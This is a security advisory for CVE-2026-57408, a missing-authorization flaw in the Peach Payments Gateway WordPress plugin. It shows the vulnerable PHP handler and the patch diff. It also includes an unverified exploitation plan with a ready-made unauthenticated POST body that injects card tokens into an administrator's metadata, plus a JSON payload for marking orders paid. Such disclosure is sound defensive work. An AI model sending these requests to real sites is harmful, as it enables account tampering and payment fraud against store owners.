CVE-2026-57408

Peach Payments Gateway <= 4.0.2 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
4.0.3
Patched in
7d
Time to patch

Description

The Peach Payments Gateway plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 4.0.2. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.0.2
PublishedJuly 8, 2026
Last updatedJuly 14, 2026

What Changed in the Fix

Changes introduced in v4.0.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-57408 ## 1. Vulnerability Summary The Peach Payments Gateway plugin (versions <= 4.0.2) is vulnerable to **Missing Authorization** within its `init` hook handler located in `includes/class-init.php`. The plugin registers an anonymous function on the `init` ho…

Show full research plan

Exploitation Research Plan - CVE-2026-57408

1. Vulnerability Summary

The Peach Payments Gateway plugin (versions <= 4.0.2) is vulnerable to Missing Authorization within its init hook handler located in includes/class-init.php. The plugin registers an anonymous function on the init hook that processes card registration returns from the Peach Payments gateway.

This handler fails to perform any capability checks or nonce verification. Furthermore, it allows the user_id to be specified directly in the $_POST['customParameters']['WOOCOMMERCE_USER'] parameter. An unauthenticated attacker can exploit this to inject arbitrary card tokens (registration IDs) into the metadata of any WordPress user, including administrators.

2. Attack Vector Analysis

  • Endpoint: Any frontend or backend URL (the handler runs on the init hook).
  • Trigger: The request must include the query parameter pp_add_card_return.
  • Method: POST.
  • Authentication: None (unauthenticated).
  • Vulnerable Sink: update_user_meta($user_id, 'my-cards', $cards).
  • Payload Parameters:
    • customParameters[WOOCOMMERCE_USER]: The target user's ID (e.g., 1).
    • registrationId: The malicious token/string to inject.
    • result_code: A code signifying success (e.g., 000.000.000).
    • Supplemental card display fields: card_last4Digits, card_holder, paymentBrand, card_expiryMonth, card_expiryYear.

3. Code Flow

  1. Hook Entry: WC_Peach_Gateway_Init::init() (in includes/class-init.php) registers an anonymous function on the init hook (line 88).
  2. Conditional Check: The function checks if isset( $_GET['pp_add_card_return'] ) (line 89).
  3. User Identification: It extracts the target user ID from $_POST['customParameters']['WOOCOMMERCE_USER'] (lines 92-93).
  4. Result Validation: It checks if PP_Gateway_Order_Utils::is_successful_result_code($_POST['result_code']) returns true (line 102).
  5. Metadata Update: If successful, it constructs a $card_data array and appends it to the target user's my-cards meta via update_user_meta (line 119).

4. Nonce Acquisition Strategy

This vulnerability does not require a nonce. The vulnerable logic is located within an init hook that serves as a callback for the Peach Payments gateway. Because it is designed to receive asynchronous POST requests from an external service, it lacks standard WordPress CSRF (nonce) protections and fails to implement any alternative verification (such as request signing or IP whitelisting).

5. Exploitation Strategy

The goal is to inject a "malicious" card token into the Administrator's account (User ID 1).

HTTP Request (via http_request tool):

  • URL: http://localhost:8080/?pp_add_card_return=1
  • Method: POST
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
  • Body:
registrationId=MALICIOUS_TOKEN_CVE_2026_57408
&result_code=000.000.000
&customParameters[WOOCOMMERCE_USER]=1
&card_last4Digits=1337
&card_holder=Attacker
&paymentBrand=VISA
&card_expiryMonth=12
&card_expiryYear=2030

(Note: 000.000.000 is the standard Peach Payments success code (inferred from class-peach-api.php)).

6. Test Data Setup

  1. Ensure the Peach Payments Gateway plugin (version 4.0.2) is installed and active.
  2. Ensure WooCommerce is active.
  3. Confirm that an administrator user exists with ID 1.

7. Expected Results

  • The server should return a 200 OK or 302 Redirect (depending on subsequent redirection logic in init).
  • The wp_usermeta table will be updated for user 1.
  • A new entry will be added to the my-cards meta key containing the registrationId "MALICIOUS_TOKEN_CVE_2026_57408".

8. Verification Steps

After sending the HTTP request, verify the injection using WP-CLI:

wp user meta get 1 my-cards

Expected output:
A serialized array (or PHP object representation) containing the injected card data:

array(
  array(
    'id'        => 'MALICIOUS_TOKEN_CVE_2026_57408',
    'num'       => 'xxxx-1337',
    'holder'    => 'Attacker',
    'brand'     => 'VISA',
    'exp_month' => '12',
    'exp_year'  => '2030',
  )
)

9. Alternative Approaches

IPN Handler Exploitation

The PP_Gateway_IPN_Handler::handle_ipn function (in includes/class-ipn-handler.php) is registered to the woocommerce_api_wc_gateway_peach_hosted hook.

  • Endpoint: /wc-api/wc_gateway_peach_hosted
  • Vulnerability: It also lacks authorization and processes a JSON payload.
  • Payload:
    {
      "merchantTransactionId": "ORDER_NUMBER_HERE",
      "status": "SUCCESS",
      "id": "PAYMENT_ID"
    }
    

If the function PP_Gateway_Order_Utils::find_order_by_number is modified or functional in the target environment to successfully return a WC_Order object, an attacker could mark any order as "Paid" or "Completed" by guessing the order number. This acts as a secondary "Missing Authorization" vector within the same plugin.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Peach Payments Gateway plugin for WordPress is vulnerable to unauthorized data injection due to a missing authorization check in its card registration return handler. Unauthenticated attackers can exploit this to inject arbitrary card tokens (registration IDs) into the metadata of any user account, including administrators, by supplying the target user's ID in a crafted request.

Vulnerable Code

// includes/class-init.php:88
add_action( 'init', function() {
    if ( isset( $_GET['resourcePath'] ) && isset( $_GET['order_id'] ) ) {
        $gateway = new WC_Gateway_Peach_Hosted();
        $gateway->handle_peach_return();
    }
    
    if ( isset($_GET['pp_add_card_return']) ) {
        if(isset($_POST)){
            if(isset($_POST['customParameters']['WOOCOMMERCE_USER'])){
                $user_id = (int)$_POST['customParameters']['WOOCOMMERCE_USER'];

                if(isset($_POST['registrationId']) && isset($_POST['result_code'])){
                    if(PP_Gateway_Order_Utils::is_successful_result_code($_POST['result_code'])){
                        $user_tokens = PP_Gateway_Order_Utils::get_user_card_tokens( $user_id );
                        $registration_id = $_POST['registrationId'];
                        
                        if(empty($user_tokens) || !in_array($registration_id,$user_tokens)){
                            $card_data = [
                                'id'        => $registration_id,
                                'num'       => 'xxxx-'.$_POST['card_last4Digits'],
                                'holder'    => $_POST['card_holder'],
                                'brand'     => $_POST['paymentBrand'],
                                'exp_month' => $_POST['card_expiryMonth'],
                                'exp_year'  => $_POST['card_expiryYear'],
                            ];
                    
                            $cards = get_user_meta( $user_id, 'my-cards', true );
                            if ( ! is_array( $cards ) ) {
                                $cards = [];
                            }
                            $cards[] = $card_data;
                            update_user_meta( $user_id, 'my-cards', $cards );
                        }
                    }
                }
            }
        }
    }
});

Security Fix

--- includes/class-init.php
+++ includes/class-init.php
@@ -90,7 +90,7 @@
 			
 			if ( isset($_GET['pp_add_card_return']) ) {
 				if(isset($_POST)){
-					if(isset($_POST['customParameters']['WOOCOMMERCE_USER'])){
+					if(isset($_POST['customParameters']['WOOCOMMERCE_USER']) && is_user_logged_in() && get_current_user_id() === (int)$_POST['customParameters']['WOOCOMMERCE_USER']){
 						$user_id = (int)$_POST['customParameters']['WOOCOMMERCE_USER'];
 						// Add Card return handler logging (POST back from Peach).

Exploit Outline

The vulnerability is triggered by sending an unauthenticated POST request to the WordPress site's root (or any page) with the `pp_add_card_return` query parameter. An attacker can specify a target user (e.g., an administrator with ID 1) using the `customParameters[WOOCOMMERCE_USER]` POST parameter. By including a valid success code in `result_code` (e.g., `000.000.000`) and a malicious string in `registrationId`, the attacker can inject a fraudulent card token into the target user's `my-cards` metadata. This occurs because the plugin fails to verify if the request originated from the payment gateway or if the current session belongs to the user being updated.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.